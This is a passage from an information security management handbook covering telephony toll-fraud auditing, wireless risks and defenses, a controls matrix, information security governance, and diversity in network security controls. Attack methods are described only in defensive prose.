Other Good Practices Although useful, a PBX firewall cannot replace the many individual security practices that, in summation, create a strong telecom security defense. Following are some miscellaneous practices that should be in place: • Periodically review forwarding of extensions to dial tone. Any station forwarded to dial tone is “hacker bait.” • Immediately request your local exchange carrier to disallow any third-party charges to the main number. Some prisoners, for example, have made long-distance calls and charged them to organizations that permit third-party charges. • Periodically review your call accounting reports. Are there calls to a location that your organization has no business reason to call? Some hackers will keep the volume of calls sufficiently small to stay below the radar screen of the long-distance carrier’s monitoring algorithms. Sort down minutes called by location and also list single calls in descending order of cost. A quick review can spot problem areas — including some that are unrelated to toll fraud, such as “stuck” modems.
Auditing the Telephony System
171
• Educate users on the vulnerability of calling card theft. In some airports, “shoulder surfers” observe calling card numbers being keyed in and sell the numbers on the street as fast as possible. Using an 800 number to call back to the office reduces the frequency of calling card calls (as well as reducing the cost). Using a voice verification system to allow secure DISA also decreases the need for card use. A user, in the interest of expediency, may occasionally give her card number out to co-workers. Most carriers, when they detect multiple usage of the same calling card in widely separate geographic areas (e.g., Japan and the United States) within a short period of time, assume fraud. Ensure that all employees who need a card have one. Some organizations, concerned about potential misuse by their own employees, contractors, or temporary workers, use prepaid calling cards. The advantage of this technique is that a stolen card number would be used to its limit and then no further charges will accrue. The disadvantages are that it allows for no internal accounting of what the card was used for and that sometimes the card is not fully used. Monitor your organization’s fax-on-demand server. To efficiently serve their customers, many firms will set up a fax-on-demand server that accepts a call from the public network and faxes requested information back to the caller. Hackers have recently begun to exploit this service in the following ways: • Repeatedly calling the fax-on-demand service, asking for faxes to be sent to a 900 or 976 number owned by the hacker (these area codes have a special surcharge associated with them). Of course, the information on the fax is not used, but the minutes accumulate and the calling party (i.e., the hacked party) is responsible for paying the toll. • Repeatedly calling a fax-on-demand service merely to harass the organization by running up its long-distance bill. • Harassing individuals by sending the fax to a business or residence that did not request it (waking up people in the middle of the night, etc.). One company was hit with over 2000 requests to send a long document to Israel, resulting in a $60,000 telephone bill.4 Techniques to detect and defend against fax-on-demand abuse include: • Check the fax system log (or call detail) for repetitive faxes to the same number. • Exclude all area codes where there is no reasonable expectation that the organization would do business. • Exclude area codes associated with high fraud incidence (e.g., 767 — Trinidad and Tobago; 868 — Dominican Republic).5 • Monitor overall volume of faxes sent out. • Power off and on to clear the queue if it is obvious that the server has or is being attacked. • Monitor the fax server over the weekend (particularly long holiday weekends) because that is the favorite time for hackers to start their penetration. Make use of your organization’s internal billing system. It is easier to spot unusual activity if long-distance bills are broken down by department. Make the internal reports easy to read, with appropriate summary information (e.g., by international location called), to provide the organization with more eyes to watch for unusual activity. Use appropriate hardware/software monitoring and toll-restricting tools. Some features of these tools include: • • • • • •
Selectively allow or restrict specific telephone numbers or area codes. Allow 0+ credit card access but restrict 0+ operator access. Limit the duration of telephone calls in certain areas. Restrict international toll access. Provide for bypass codes. Report on a daily basis (sent via e-mail) any suspicious activity, based on predefined exception conditions.
172
Information Security Management Handbook
Wireless Risks Although wireless communication is increasingly associated with data/packet transmission, more and more voice traffic will be over wireless. Devices ranging from Bluetooth-enabled PDAs to PBX-specific wireless phones transmit information over the potentially less secure airwaves. Although wireless communications can theoretically be rendered secure, the newness of the technology and its proliferation often mean that security is not implemented properly. A January 2002 article in Computerworld described how a couple of professional security firms were able to easily intercept wireless transmissions at several airports. They picked up sensitive network information that could be used to break in or to actually establish a rogue but authorized node on the airline network. More threatening is the newly popular “war driving” hobby of today’s au courant hackers. Using an 802.11b equipped notebook computer with appropriate software, hackers drive around scanning for 802.11b access points. The following conversation, quoted from a newsgroup for wireless enthusiasts in the New York City area, illustrates the level of risk posed by war driving: Just an FYI for everyone, they are going to be changing the nomenclature of “War Driving” very soon. Probably to something like “ap mapping” or “net stumbling” or something of the sort. They are trying to make it sound less destructive, intrusive and illegal, which is a very good idea. This application that is being developed by Marius Milner of BAWUG is great. I used it today. Walking around in my neighborhood (Upper East Side Manhattan) I found about 30 access points. A company called www.rexspeed.com is setting up access points in residential buildings. Riding the bus down from the Upper East Side to Bryant park, I found about 15 access points. Walking from Bryant Park to Times Square I found 10 access points. All of this was done without any external antenna. In general 90 percent of these access points are not using WEP. Fun stuff. The scanning utility referred to above is the Network Stumbler, written by Marius Milner. It identifies MAC addresses (physical hardware addresses), signal-to-noise ratios, and SSIDs.6 Security consultant Rich Santalesa points out that if a GPS receiver is added to the notebook the utility records the exact location of the signal. Many more examples of wireless vulnerability could be cited. Looking at these wide-open links reminds us of the first days of the Internet when the novelty of the technology obscured the risks from intruders. Then, as now, the overriding impediment to adequate security was simple ignorance of the risks. IT technicians and sometimes even knowledgeable users set up wireless networks. Standard — but optional — security features such as Wired Equivalent Privacy (WEP) may not be implemented. Viewing the handheld or portable device as the weak sibling of the wireless network is a useful perspective. As wireless devices increase their memory, speed, and operating system complexity, they will only become more vulnerable to viruses and rogue code that can facilitate unauthorized transactions. The following sections outline some defenses against wireless hacking and snooping. We start with the easy defenses first, based on security consultant Don Parker’s oft-repeated statement of the obvious: “Prudent security requires shutting the barn doors before worrying about the rat holes.”
Wireless Defenses Virtually all the security industry’s cognoscenti agree that it is perfectly feasible to achieve a reasonable level of wireless security. And it is desperately needed — for wireless purchases, stock transactions, voice communications, transmissions of safety information via wireless PDA to engineers in hazardous environments, and other activities where security is required. The problems come from lack of awareness, cost to implement, competing standards, and legacy equipment. Following are some current solutions that should be considered if the business exposure warrants the effort.
Auditing the Telephony System
173
Awareness and Simple Procedures First, make management, IT and telecom personnel, and all users aware that wireless information can be intercepted and used to penetrate the organization’s systems and information. In practical terms, this means: • Obtain formal approval to set up wireless LANs and perform a security review to ensure WEP or other security measures have been put in place. • Limit confidential conversations where security is notoriously lax. For example, many cellular phones are dual mode and operate on a completely unsecured protocol/frequency in areas where only analog service is available. Some cellular phones have the ability to disable dual mode so they only operate in the relatively more secure digital mode. • Use a password on any PDA or similar device that contains sensitive data. An even stronger protection is to encrypt the data. For example, Certicom offers the MovianCrypt security package, which uses a 128-bit advanced encryption standard to encrypt all data on a PDA. • Ensure that the security architecture does not assume that the end device (e.g., a laptop) will always be in physical possession of the authorized owner. • Ensure that WEP has been actually implemented on any wireless network. The user must make an effort to turn the security function on. • Enable MAC (Medium Access Control) addressing to ensure that only predefined wireless devices can communicate in the network. In other words, a hacker cannot “drive by” and insert himself into the network because his MAC address is not coded into the authorization table. One disadvantage of this technique is that the MAC address table must be maintained manually. • Use standard techniques for data. Digital hashing and public key cryptography function effectively with wireless transmissions, just as they do with wired communications. • Use a device such as IBM’s wireless security auditor to perform a premises inspection to detect wireless networks — then make sure they have been reviewed for security settings, etc.
Insurance: The Last Line of Defense The day-to-day business of the organization may be so dependent on voice communications that certain PBX functions cannot be shut down even when an attack is in progress. Toll fraud insurance is prudent in this situation. Most major carriers provide insurance options, with deductibles of only a few thousand dollars. In return, they ask their customers to comply with certain basic control requirements, such as restrictions on DISA (direct inward system access). The cost is reasonable. The telecommunications operations group should regularly send the carrier fraud detection unit updated lists of key names and phone numbers to call if fraud patterns are detected. The carriers have sophisticated fraud detection algorithms that are surprisingly prescient in the early identification of toll fraud; however, if they do not have an up-to-date contact list, it can be several days before the chicanery is stopped. The carriers will not, for example, shut down weekend long-distance operations for an organization even if they know fraudulent activity is occurring — unless they have authorization from the organization. For example, long-distance service on the weekends could be vital to the organization’s business services. As a practical matter, carriers are “reasonable” in dealing with customers who have made bona fide efforts to thwart hackers. In some cases, reduced rates can be negotiated. It never hurts to ask! The auditor should review insurance coverage for all PBX sites, including those with “tie lines” (i.e., a dedicated circuit allowing two parties to talk without having to dial the full telephone number). A smaller office does not imply a smaller exposure to toll fraud. In fact, small offices are often the targets of hackers who assume that in rural/small city regions there is less consciousness of the exposure and hence fewer controls in place.
174
Information Security Management Handbook
Summary An organization cannot eliminate all risk from toll fraud and communications security breaches. Nevertheless, intelligent precautions, alertness, and proper reporting systems can greatly reduce its frequency and severity. By research and knowledge of traditional control techniques as well as gaining an understanding of newer packet telephony, the auditor can provide management with a blueprint for “safe telephony.”
Notes 1. Toll fraud is the theft of long-distance service. Actual monetary losses occur when the organization’s long-distance carrier bills for calls made by unauthorized parties. 2. Post Telephone & Telegraph (telephone company usually owned by a country’s government; this practice is less prevalent now than in the past). 3. Security for PBXs is often convoluted. Rules may be set in one table but overridden in another. 4. Web page from Epigraphx LLC, 965 Terminal Way, San Carlos, CA 94070 (http://www.epigraphx. com/faxhacking.htm). 5. Web page from Epigraphx LLC, 965 Terminal Way, San Carlos, CA 94070 (http://www.epigraphx. com/faxhacking.htm). 6. Service Set Identifier. An encoded flag attached to packets sent over a wireless LAN that indicates it is authorized to be on a particular radio network. All wireless devices on the same radio network must have the same SSID or they will be ignored.
Domain 3 Security Management Practices
176
Information Security Management Handbook
This domain is often called the people side of information security. People may be one of the most important aspects of an information security program, because the implementation of technical safeguards cannot entirely prevent human errors and omissions. Security management practices address the identification of an organization’s information assets and the development, documentation, and implementation of policies, standards, data classification categories, procedures, and guidelines. This domain also encompasses the essential management tool — risk assessment — which is used to identify threats, classify assets by criticality, and rate the vulnerabilities so appropriate and cost-effective security controls can be implemented. Additionally, security management practices include the essential human elements of security awareness and training.
Access Control Systems and Methodology
177
Contents Section 3.1
Security Management Concepts and Principles
13 The Controls Matrix................................................................................................................... 179 Robert M. Slade 14 Information Security Governance ............................................................................................. 183 Ralph Spencer Poore 15 Belts and Suspenders: Diversity in Information Technology Security ................................... 189 Jeffrey Davis 16 Building Management Commitment through Security Councils, or Security Council Critical Success Factors ............................................................................ 197 Todd Fitzgerald
Section 3.4
Risk Management
17 Developing and Conducting a Security Test and Evaluation.................................................. 213 Sean M. Price 18 Enterprise Security Management Program............................................................................... 223 George G. McBride 19 Technology Convergence and Security: A Simplified Risk Management Model................... 233 Ken M. Shaurette
Section 3.5
Employment Policies and Practices
20 People, Processes, and Technology: A Winning Combination................................................ 241 Felicia M. Nicastro
Section 3.6
Policies, Standards, Procedures, and Guidelines
21 Building an Effective Privacy Program ..................................................................................... 251 Rebecca Herold 22 Training Employees To Identify Potential Fraud and How To Encourage Them To Come Forward................................................................... 265 Rebecca Herold
Section 3.8
Security Management Planning
23 Beyond Information Security Awareness Training: It Is Time To Change the Culture ........ 285 Stan Stahl 24 Establishing a Successful Security Awareness Program ........................................................... 295 Charles R. Hudson, Jr.
This page intentionally left blank
13 The Controls Matrix Robert M. Slade We, in the security field, are “controls” freaks, not control freaks (although some we say we are that, too). We are continually interested in controls that enable us to safeguard systems and data. Controls come in a number of forms. They may be administrative, such as policies and standards. Some controls are physical, as walls and removable media are. Increasingly, many controls are technical (or logical) measures such as encryption and antivirus scanning. In planning and considering the types of controls that we have, their effectiveness, and new ones we may need, we find it helpful to categorize controls into three different types. This tripartite arrangement of security controls has developed from the normal divisions of responsibility in business: management, physical plant, and operations (technical, in the case of information systems). We divide controls into other classes, as well. Corrective controls are applied when others have failed (helping to build our defense-in-depth strategies), directive controls provide guidance, deterrent controls use social pressures to reduce threats from human attackers, detective controls determine that a breach has taken place (and may gather or analyze information about it), preventive controls reduce our vulnerability to threats, and recovery controls assist us to resume operations after an incident. This sixway partition of security actions has its roots in military and law enforcement studies. (In military documents, the list is traditionally ordered directive, preventive, detective, corrective, recovery, and deterrent.) The finer grading and codifying of controls that we can do, the better our analysis of our total security posture. Having two taxonomies of controls, though, frequently confuses both students of security and security practitioners, who want to know whether a preventive control is supposed to fit under administrative or physical controls, and questions of a similar nature. In fact, the two classifications are orthogonal. Trying to fit corrective, directive, detective, deterrent, preventive, and recovery divisions into the administrative/technical/physical structure does not work, nor should it. The approaches, philosophies, and intents are quite distinct in the two different formations. That does not mean that the two arrangements cannot work together. On the contrary, because we have two valid but orthogonal sets of divisions, we can use them to build a matrix, which allows us to further examine and refine our view of the controls we use. Using the two classifications as different axes, we come up with a grid along the lines of Table 13.1. This matrix can be used for study or instruction in the concept of security controls. Students may practice assigning different types of controls to their various locations on the grid, determining what types of controls they are and how they should best be categorized and classified. The result of this type of exercise may end up looking something like Table 13.2. Note that Table 13.2 has blank spaces in some areas. The objective of student-exercise use of the controls matrix is not to fill in the blanks, as each grid location has many possible controls. For the student of security, the point is to understand the types of controls that exist and to identify, for a given control, what class of protection it provides. In some instances, it may be seem as though the controls matrix is difficult to use; for example, a firewall, which is easily seen to be a technical control, is less clear in regard to its vertical position in our
TABLE 13.4 Different Types of Firewalls Occupy Different Locations Administrative
Technical/Logical
Detective
Application proxy firewall
Deterrent
Network address translation
Preventive
Packet filtering firewall
Physical
grid. Some may argue that a firewall is preventive (keeping unwanted packets out), some may think that it is detective (reporting sequences that may presage an attack), and others might vote that it is deterrent (discouraging intruders from pressing an attack) (Table 13.3). Far from being a weakness in the controls matrix, this situation provides an opportunity for the security instructor to point out the necessity for refining our understanding of the technology. The different kinds of firewalls may indeed occupy various locations on our controls grid. A simple packet filtering firewall is basically a preventive device, whereas an application proxy firewall will understand far more about the datastream and may be able to detect an intrusion. A circuit proxy, or network address translator, may deter attacks when the outsider is unable to obtain information about the internal structure of the network (Table 13.4).
181
The Controls Matrix
TABLE 13.5 Controls with Insufficient Breadth Administrative
Technical/Logical
Corrective
Hamming error correcting code
Directive
Password choice checks and prompts
Detective
Intrusion detection system
Deterrent
Encryption
Preventive
One-way encryption
Recovery
Backup of router tables
Physical
The controls matrix is not simply an educational tool. It can be used by the security practitioner or professional in assessing the security of a system. For any given system, a wide variety of controls can be used. Indeed, a conglomeration of safeguards may be needed for a single process or structure. At some point it may become difficult to see the forest for the trees. Having established a number of countermeasures, the practitioner may wonder at the necessity for ensuring against further vulnerabilities. Several tools are available for establishing the completeness of a risk management strategy, primarily involved with identifying specific risks, threats, or vulnerabilities. The controls matrix offers a slightly different kind of assessment of overall protections, noting broad classes of coverage and potential blind spots. For a particular system under discussion, the various proposed or operating controls can be categorized within the controls matrix. Once classified into the various types and locations, the controls matrix will indicate if gaps exist in the types of safeguards that are applied. This analysis helps to avoid a natural tendency to prefer those measures with which we are most familiar. (To the man with a hammer, everything looks like a nail.) The controls matrix, therefore, acts as a kind of self-audit to point out our own blind spots. This is particularly useful for independent consultants who do not have a staff to brainstorm with and collect ideas from. (In the real world the number of controls will definitely exceed a single instance for any box on the grid. In fact, for the use of the controls matrix in a real system, the graphical outline may have to be abandoned, possibly replaced by either a database or a system of forms; however, we will continue to use it in this chapter for illustrative purposes.) As an example, many security practitioners originally worked in network operations and management, where they were quite familiar with technical security safeguards, but this background may be weak in the administrative (or physical) aspects of security and result in a protection strategy like that in Table 13.5. In other situations, the security analyst may think only of initial barriers to intrusions, neglecting the principle of defense in depth. In this case, we may see a pattern illustrated by Table 13.6. A similar configuration will be evident where the practitioner has concentrated solely on detective, recovery, or other functional areas. The examples given in Table 13.5 and 13.6 are exaggerated for effect, but it is hoped that the point is made. Gaps or holes in the controls matrix may indicate areas of a security structure that are weak or must be addressed. On the other hand, not every system will require controls for every aspect of the grid, and most complex systems will require more than one control for a given function. For example, few real-time communications systems will require directive controls, aside from those governing the traffic appropriate to it. At the same time, almost all such communications systems will require extensive technical corrective, preventive, and recovery functions to ensure that the traffic continues to flow. The controls matrix is not meant to be an absolute standard to be followed but rather a guideline to assist the security professional. In summary, the controls matrix offers a means both for the security student and the new practitioner to understand the concepts and classifications of controls. It also provides direction and a self-assessment for the experienced professional in reviewing a security strategy.
182
Information Security Management Handbook
TABLE 13.6 Controls with Insufficient Depth Administrative
Centralized authentication Enforcement of strong passwords Callback Packet filtering firewall
Servers in locked room No removable media
14 Information Security Governance Ralph Spencer Poore Governance: 1. government; exercise of authority; control; 2. a method or system of government or management. —Random House Webster’s Unabridged Dictionary
Corporate Governance Before describing information security governance, we need at least an overview of corporate governance as a context. Fundamentally, corporate governance concerns the means by which managers are held accountable to stakeholders (e.g., investors, employees, society) for the use of assets and by which the firm’s directors and managers act in the interests of the firm and these stakeholders. Corporate governance specifies the relationships between, and the distribution of rights and responsibilities among, the four main groups of participants in a corporate body: • • • •
Board of directors Managers Workers Shareholders or owners
The edifice of corporate governance comprises the national laws governing the formation of corporate bodies, the bylaws established by the corporate body itself, and the organizational structure of the corporate body. The objective of corporate governance is to describe the rules and procedures for making decisions regarding corporate affairs, to provide the structure through which the corporate objectives are set, to provide a means of achieving the set objectives, and to monitor the corporate performance against the set objectives. The Committee of Sponsoring Organizations (COSO) of the Treadway Commission created a governance document entitled Internal Control–Integrated Framework. Originally published in 1985 and subsequently updated, this document provides a controls-based foundation for corporate governance. COSO also created additional guidance for boards of directors, executives, and other stakeholders that includes enterprise risk management guidelines. A comprehensive understanding of business risks is fundamental to proper governance. Enron, Tyco, WorldCom, and Arthur Andersen are well-recognized examples of failed corporate governance, instances where the stakeholders were not well served. (For a longer list, see http:// www.mywiseowl.com/articles/Accounting_scandals.) As a result of these high-visibility failures of voluntary corporate governance, new laws (e.g., the Sarbanes–Oxley Act of 2002 [107 H.R. 3763], signed into law on July 30, 2002) and regulations have raised the bar on corporate governance.
183
184
Information Security Management Handbook
Information Technology Governance Well before these scandals, however, we recognized the need for information technology (IT) governance within the context of corporate governance. The IT Governance Institute, a not-for-profit organization founded in 1998, grew from earlier efforts to identify structures and controls for information technology governance. Two important early reports, the 1992 Cadbury Report (Report of the Committee on the Financial Aspects of Corporate Governance) and the 1999 Turnbull Report (Internal Control: Guidance for Directors on the Combined Code), were influential in the maturation of IT governance. At its core, IT governance is concerned with two things: • Delivery of value to the business • Mitigation of information technology risks Information technology governance plays an important role in information security governance, but the two are not congruent. IT governance addresses the application of technology to business problems and how and to what degree this application provides value to the business. Often, the efficiency of delivery of business applications and the choice of information technologies are in opposition to effective, efficient information security. For example, the accelerated deployment of off-the-shelf wireless networks running Web-based applications produced through rapid prototyping may permit IT to deploy a system that delivers value to the business but does not ensure confidentiality. We could argue that the IT governance requirement of “mitigation of information technology risks” is not met here. However, in practice, this concept reflects more the ideas of mean time between failures, technology obsolescence, and flexibility — issues of the technology rather than of the information itself.
Information Security Governance Information has become many corporations’ most valuable asset. While human resources departments will doubtlessly argue that employees are the most valuable asset, few companies intentionally downsize their information assets or surrender them to other companies and remain in business. Information assets are bought and sold, used to generate capital, protect a company from personnel turnover, and provide competitive advantage. The information asset may also become a liability with negative value exceeding the investment the company had in it (for example, when a release of information constitutes a massive breach of privacy). Because the primary purpose of any governance within a corporation is to hold management accountable to the corporate stakeholders, information security governance must have as its primary purpose the process of holding management accountable for the protection and ethical use of information assets. Whether information security governance is congruent with IT security governance is perhaps a matter of definition. The Information Systems Audit and Control Association (ISACA) organization published a document, Information Security Governance: Guidance for Boards of Directors and Executive Management, that makes no distinction. This author, however, views information security governance to be a superset with IT security governance a subset. The central issue with information security governance is whether information security is essentially an information technology or whether information technology is essentially only one arena in which information security plays an important role. Part of this debate depends on the true nature and role of the chief information officer (CIO). Where the CIO is an executive responsible for information systems technology (i.e., effectively the manager over computers and computer applications), then the CIO lacks the scope necessary for information security governance. Figure 14.1 illustrates this point. Although Figure 14.1 depicts the more common role of CIO, it also depicts the more progressive role for the chief information security officer (CISO). The role of the CISO (often as only a subordinate manager) reflects a serious governance problem when the position reports through the CIO and the CIO’s role is limited to automated systems. The CIO’s role as a function of job description and formal policy may differ from
185
Information Security Governance
Shareholders
Board of Directors
Chief Executive Officer (CEO)
Chief Information Officer (CIO)
Operations Manager
Chief Information Security Officer (CISO)
Manager Applications Development
Manager Identity Management
FIGURE 14.1 Information technology and information security governance in parallel.
the CIO’s role in practice. A CIO wholly aligned with technology and rewarded on that basis will not act as the steward of the organization’s overall information assets, regardless of the title. Figure 14.2 presents the CIO as responsible for the information asset regardless of how it is processed. In this case, the CISO may legitimately report to the CIO without harm to information security governance. The reader will note that the CIO is responsible for paper records (i.e., manual information processing as well as automated information processing). Here, the information asset, not just the technology, is the scope of the CIO role. The CIO has responsibility for both information security and IT governance. Organizational structure plays a significant role in governance. In addition to the accountability inherent in line reporting, matrices and other “dotted line” reporting structures can provide important means for keeping executive management informed and for keeping other organizational elements accountable for information security practices. Figure 14.3 depicts a more complex organizational structure supporting information security governance. In the example shown in Figure 14.3, information security reports directly through risk management, an organization that might include insurance, physical security, and investigations. Information security also has a dotted line reporting through the CIO, who in this example has responsibility for all information assets. Further, as part of risk management, an additional reporting occurs to the audit committee of the board of directors. Such integral reporting assures, at least structurally, the best opportunity for successful information security governance. Beyond organizational structure, information security governance requires metrics and means to monitor them. Traditional metrics, such as return on investment (ROI) and budget compliance, may prove problematic for several reasons. First, ROI requires an understanding of the investment made in information security and a method for capturing meaningful financial results (loss or gain) from such investment. Although information valuation techniques (e.g., as described in the Guideline for Information
186
Information Security Management Handbook
Shareholders
Board of Directors
Chief Executive Officer (CEO)
Chief Information Officer (CIO)
Chief Records Officer (CRO)
Records Administrator
Chief Information Security Officer (CISO)
Identity Management
Chief Technology Officer (CTO)
Operations Manager
Applications Development
FIGURE 14.2 Information technology and information security governance as congruent.
Valuation) may provide a valid basis for doing this — especially in conjunction with a quantitative risk assessment — this remains a daunting task. Second, managing to a budget is only proper information security governance if the budget reflects the organization’s true requirements. Just as in IT governance, staying within budget is no assurance of delivering value to the business and mitigating risks. Similarly, going over budget does not indicate a failure to deliver value or to properly mitigate risk. Other metrics, such as the number of persons trained in security awareness, reduction in fraud losses, reduction in audit findings, and reduction in security incidents (e.g., computer viruses, reported unauthorized data releases), may better represent the effectiveness of the information security program. Prioritization is a major function of good governance. An organization’s resources are always limited. Determining priorities among the worthy potential investments a company must make is an act of governance. Although the creation of budgets inherently reflects these decisions (at some level), the political process associated with budgeting does not automatically support good governance. Information security governance is effectively infrastructure — essential to the success and survival of the company but not always clearly associated with profitability (except, perhaps, when it fails and wipes out profits). Information security is rarely a profit center with its own profit and loss. One way of participating in prioritization is to establish a committee with representatives from all business units and ask this committee to assign priorities. The process of educating the members on the need, impacts, costs, and benefits of information security and the process of listening to the business area needs are mutually instructive.
187
Information Security Governance
Shareholders
Board of Directors
Audit Committee
Chief Executive Officer
Chief Risk Management Officer
Chief Information Security Officer
Chief Information Officer
Chief Records Officer
Chief Financial Officer
Chief Technology Officer
Manager Computer Operations
Director Internal Audit
Manager Applications Development
FIGURE 14.3 Complex information security governance organization.
The meetings should have formal minutes with action items. The documented consensus of the committee provides executive management with evidence of proper diligence and provides the basis for cooperation essential to any successful information security program. Additional natural allies in information security governance include the corporate ethics program (generally included in corporate governance), regulatory compliance programs, privacy programs, and internal audit. A company’s information security governance should include liaison roles with each of these organizational elements or programs.
Pitfalls in Information Security Governance Politics is unavoidable. Many organizations have serious structural problems that make information security governance difficult or infeasible. As discussed earlier, if the information security function is
188
Information Security Management Handbook
organizationally buried within IT, an emphasis will be placed on administration of security technology, and information security overall will go unaddressed. However, independent reporting (e.g., reporting as a peer of the CIO) is no assurance that information security governance will provide an effective information security program. Political influence, the informal organization, may neutralize the formal structure that otherwise supports good information security governance. Effective information security must impact behavior. Depending on how entrenched poor security practices are, much inertia may have to be overcome. When the resources needed for these changes exist in other organizational budgets (e.g., the CIO’s budget), success will require cooperative endeavors and political skill. Unless one’s peers have a stake in the success of information security, formal information security governance may fall victim to informal organizational machinations.
Conclusion Information security governance is an essential element in overall corporate governance. With laws at state and federal levels holding management and directors responsible for ethical conduct and accountable for proper use and protection of company assets, information security governance may have come of age. Good governance requires proper organizational structure, cross-enterprise cooperation, well-chosen metrics, and resource prioritization.
References AICPA. 1985–2004. Internal Control — Integrated Framework. American Institute of Certified Public Accountants, www.aicpa.org. ISO. 2000. Code of Practice for Information Security Management, ISO/IEC 17799. International Organization for Standardization, Geneva. ISSA. 2005. Guideline for Information Valuation, 2nd edition. Information Systems Security Association, www.issa.org. ITGI. 2000. COBIT (Control Objectives for Information and Related Technology), 3rd edition. IT Governance Institute, www.ITgovernance.org and www.isaca.org. ITGI. 2001. Information Security Governance: Guidance for Boards of Directors and Executive Management. IT Governance Institute, www.ITgovernance.org and www.isaca.org. Monks, R. A. G. and N. Minow. 2004. Corporate Governance, 3rd edition. Malden, MA: Blackwell. Steinmetz, S. (ed.). 1997. Random House Webster’s Unabridged Dictionary, 2nd edition. New York: Random House.
15 Belts and Suspenders: Diversity in Information Technology Security Jeffrey Davis Diversity in information security is a practice that can greatly improve the security of an organization’s information assets. Using different techniques and controls can multiply the effectiveness of security controls in an increasingly diverse risk environment. Using overlapping controls can also provide redundancy that is important if a control should fail. Information technology security controls and response processes address different areas within an environment. These include network controls, operating system controls, and application level controls, as well as monitoring and responses to security events. Attention must also be paid to the coverage of the different controls, as the failure to provide protection for one piece of the application or service may lead to compromise of other areas. Providing adequate protection for all the pieces of an application will ensure its proper functioning and reduce the risk of its being compromised. It is also possible for one control to provide overlapping protection for other areas. Maximizing the overlapping protection and providing diversity within each one of these controls and processes are important to minimizing the risk of a security failure with regard to the information or services being protected. In addition, response and monitoring processes must also be able to address incidents and provide solutions in a timely manner. These controls and processes can also take advantage of diversity to reduce the risk of a single point of failure. Together, these controls and processes work to provide confidentiality, integrity, and availability of the information or service being secured.
Network Control Diversity Controls can be classified into two basic types: preventive and detective. Preventive network controls prevent or block malicious network traffic, and detective network controls monitor the network for suspicious or malicious traffic that may require a response. One major function of preventive network controls is to allow only traffic necessary for the service to function. One way this can be accomplished is by using a firewall with access rules to control the network traffic. A way to provide diversity in this control is to implement the restriction not only via the firewall but also via access control lists on the routers that route the traffic within the network. This provides protection if the firewall is compromised or is bypassed maliciously. It can also provide a backup if a mistake is made in configuring the firewall. A drawback to this practice is that it does introduce an administrative burden and can make troubleshooting more difficult, and it is necessary to administer network access in more than one place. Another method of providing diversity in network controls is to use multiple firewalls from different vendors. Various vendors may use different methods of implementing the control. This can prevent a
189
190
Information Security Management Handbook
weakness in one vendor’s firewall from being exploited to bypass the network control it is implementing. If required, this can also be used to provide some separation of duties. This can be accomplished by having two different groups responsible for the administration of each firewall. If a change is required, it will require actions from both groups to be implemented. Another security control used on a network is a network intrusion detection system. This is a detective type of control that is used to monitor the network for malicious traffic. The traffic is compared to signatures of known network attacks, and when a match is detected an alert is raised and some action may be taken.. In some cases, an automated action may be taken to adjust an existing network control, like a firewall or router, to block any further traffic from getting to the target system. Another action may be to reset any resulting connection between the source of the traffic and the destination. If an automated action is not taken, then an appropriate incident response process should be in place to react to the alert and determine if any action is required. This control can complement other controls making their effectiveness visible. As a detective control, it can also be used to determine when another control has failed. This could be indicated by the presence of traffic that should not be there, such as an outbound connection attempt from a server in a protected network zone. Network intrusion detection can also be implemented in a diversified fashion by using different types of vendors who employ various methods of detecting malicious traffic. In addition, most implementations use a list of traffic signatures that are known to be malicious. This signature list will vary in correctness and completeness. The correctness of the list is important in that, if a signature is not correct, it may result in generating false detection of the traffic or it may miss some malicious traffic completely. Utilizing multiple solutions will provide some protection against this. Some network intrusion detection prevention systems will also use heuristics or other methods to guess if particular network traffic may be malicious in nature. These implementations are vendor specific, and utilizing more than one vendor can also provide more assurance that the traffic that is identified as being malicious is a true indication of a problem. Another type of network control is a network intrusion prevention device. This is a combination of a preventive control and a detective control. This type of control not only looks for known malicious network traffic but can also prevent it from reaching the system it is intended to attack. This is especially useful for single packet attacks or attacks that do not require a complete TCP handshake. This control is usually implemented as an inline device in the network. This means that all network traffic will flow through the device, and it can be configured to discard any traffic it considers malicious. These devices are similar to network intrusion devices in that they utilize a list of signatures of malicious traffic that is compared to the traffic flowing across the link they are monitoring. As with the network intrusion devices, it can be helpful to utilize multiple vendors in order to ensure the correctness of the signature list and any method of heuristics. In addition, because the device is usually implemented inline, it is important to consider redundancy in order to reduce the risk of an outage due to a single point of failure. One other network control is the use of a host-based firewall. This is a firewall that is implemented directly on the system providing the application or service. This firewall limits connectivity to services on the system and can provide that protection if other network controls fail. One disadvantage of a hostbased firewall is that it depends on the host to actually implement and control the rule set. If the host is compromised, then the firewall rules can be modified to bypass the controls, as has been demonstrated by a number of viruses. When the virus has infected a system, it has disabled the firewall controls to provide further access to the infected host or to allow the continued spread of the virus. Timely management of these firewalls is also important for them to be successful at mitigating attacks. To be effective in an enterprise setting, these firewalls should be centrally controlled. If they are centrally controlled, then the enterprise can react more quickly to new threats by adjusting the network access rules on the hosts to block malicious traffic. A host-based firewall can augment network controls and provide redundant control of network traffic. One other important process in securing a system is running periodic vulnerability scans using a network vulnerability scanner. These are used to identify vulnerabilities that could be used to compromise a host or application. If it is necessary to secure a large enterprise, running a network vulnerability scan
Belts and Suspenders: Diversity in Information Technology Security
191
is one of the most effective ways of ensuring that the system has been kept up to date with patches. One way to increase this effectiveness is to use more then one scanner. Vulnerability scanners test for the presence of a vulnerability in different ways. Some will attempt to actually exploit the vulnerability, and others will simply determines that a vulnerability may exist by checking the version level in the software. Still others may just indicate the possibility that a system is vulnerable and might require further investigation to see if a vulnerability actually exists. The scanners will have to be periodically updated to reflect any new vulnerabilities that have been discovered. This is also where utilizing more then one scanner will be of benefit as some vendors may keep there software more current than others. Another important tool for securing networks is the use of encryption technologies. Encryption is used to provide protection against eavesdropping by third parties by encrypting the traffic using an encryption algorithm. Encryption along with hashing algorithms can also be used to authenticate the traffic between two network connections. Two types of encryption algorithms are utilized to encrypt network traffic: symmetric and asymmetric. Symmetric algorithms use a shared key that is known to both parties to encrypt the traffic. They are much faster and require fewer computing resources than asymmetric algorithms. Algorithms of this type include the Advanced Encryption Standard (AES) and Triple-DES (formed from the Data Encryption Standard). An important factor in the implementation of symmetric encryption is the size of the shared keys that are being used. The size of this key determines the key space or range of values that the key can have. The size of the key space is an important factor in determining the strength of the implementation of an encryption system. One type of attack, called a brute force attack, attempts to decrypt the encrypted data by trying every possible key value in the key space. Larger key sizes are used to provide more protection against these attacks. It is important that the key space be of sufficient size so the amount of time and resources required to attempt all of the keys in the key space is large enough to make it impractical to try. The second type of encryption algorithms is asymmetric, also known as public/private key encryption. These types of algorithms use two related keys. One key is private and must be kept 